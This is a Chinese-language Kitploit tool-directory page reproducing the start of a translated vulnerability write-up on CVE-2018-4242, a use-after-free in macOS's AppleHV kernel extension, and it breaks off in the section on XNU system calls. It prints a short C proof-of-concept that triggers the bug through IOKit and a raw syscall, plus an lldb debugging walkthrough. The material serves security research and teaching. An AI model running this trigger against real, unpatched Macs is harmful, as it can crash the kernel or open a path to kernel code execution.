Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/yeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-
漏洞分析漏洞利用逆向工程论文与研究学习与教育二进制利用
GitHubyeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-

Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation-

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
17年前尚未审核

透过管道看 XNU:CVE-2018-4242 分析报告

奇虎 360 Nirvan 团队的 Zhuo Liang

目录

1 引言 1

1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . 1

2 XNU 内核 2

2.1 系统调用 . . . . . . . . . . . . . . . . . . . . . . . . . . 2

2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2.1 mach_msg 与 Mach 端口 . . . . . . . . . . . . . . . . . 6

2.2.2 MIG:RPC 接口生成器 . . . . . . . . . . . . . . . . . . 8

2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12

3 AppleHV 12

3.1 逆向工程 . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3.2 漏洞 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.3 修复 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 结论 17

1 引言

1.1 CVE-2018-4242

苹果公司发布了针对 CVE-2018-4242 的 macOs 10.13.4 安全更新,该漏洞于上周(3 月)被报告。CVE-2018-4242 是一个可通过以内核权限执行任意代码而使恶意程序利用的漏洞。本报告将通过这个问题帮助大家了解 XNU。

清单 1 中的代码是我们演示的 PoC。完整源代码可从 github 下载。

root@kitploit:~
1 // AppleHVUaF.c
2 void destroy_vm() {
3   asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4   return;
5 }
6 int main(int argc, char **argv) {
7   const char *service_name = "AppleHV";
8   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10  if (service == MACH_PORT_NULL) {
11    printf("[−] Cannot get matching service of %s\n", service_name);
12    return 0;
13  }
14  printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16  io_connect_t client = MACH_PORT_NULL;
17  kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18  if (ret != KERN_SUCCESS) {
19    printf("[−] Open service of %s failed!\n", service_name);
20    return 0;
21  }
22  printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23  service_name, client);
24  IOServiceClose(client);
25  usleep(5);
26  destroy_vm();
27  return 0;
28 }

​ 清单 1:针对 CVE-2018-4242 的 PoC

要理解这段代码,需要一些关于 XNU 的基本知识。对于初次接触 XNU 的读者,第 2 节将介绍 XNU 的相关内容。如果你已经了解以下条目,可以直接从第 3 节开始阅读。

  • XNU 中的系统调用类别
  • XNU 中的 MIG,即 RPC 接口生成器
  • IOKit 子系统

第 1 节 引言
第 2 节 XNU 的基础知识
第 3 节 AppleHV.kext 的逆向分析与 CVE-2018-4242 的细节
第 4 节 结论

2 XNU 内核

2.1 系统调用

众所周知,在计算领域,系统调用是程序与操作系统交互的一种方式。用户级进程可以通过系统调用请求操作系统的服务。在 XNU 中,有四种系统调用类别,它们驱动着所有的用户态与内核态交互。让我们通过清单 1 中所示的 syscall 指令来深入探讨这些内容。 ​ syscall 是 x86_64 架构上的一种指令,可以在内核空间中调用操作系统系统调用处理程序。清单 2 通过一个简单的 write 示例说明了 syscall 的工作方式。

root@kitploit:~
~ cat write.c
2 #include 
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"

​ 清单 2:简单的 write 示例

下载工具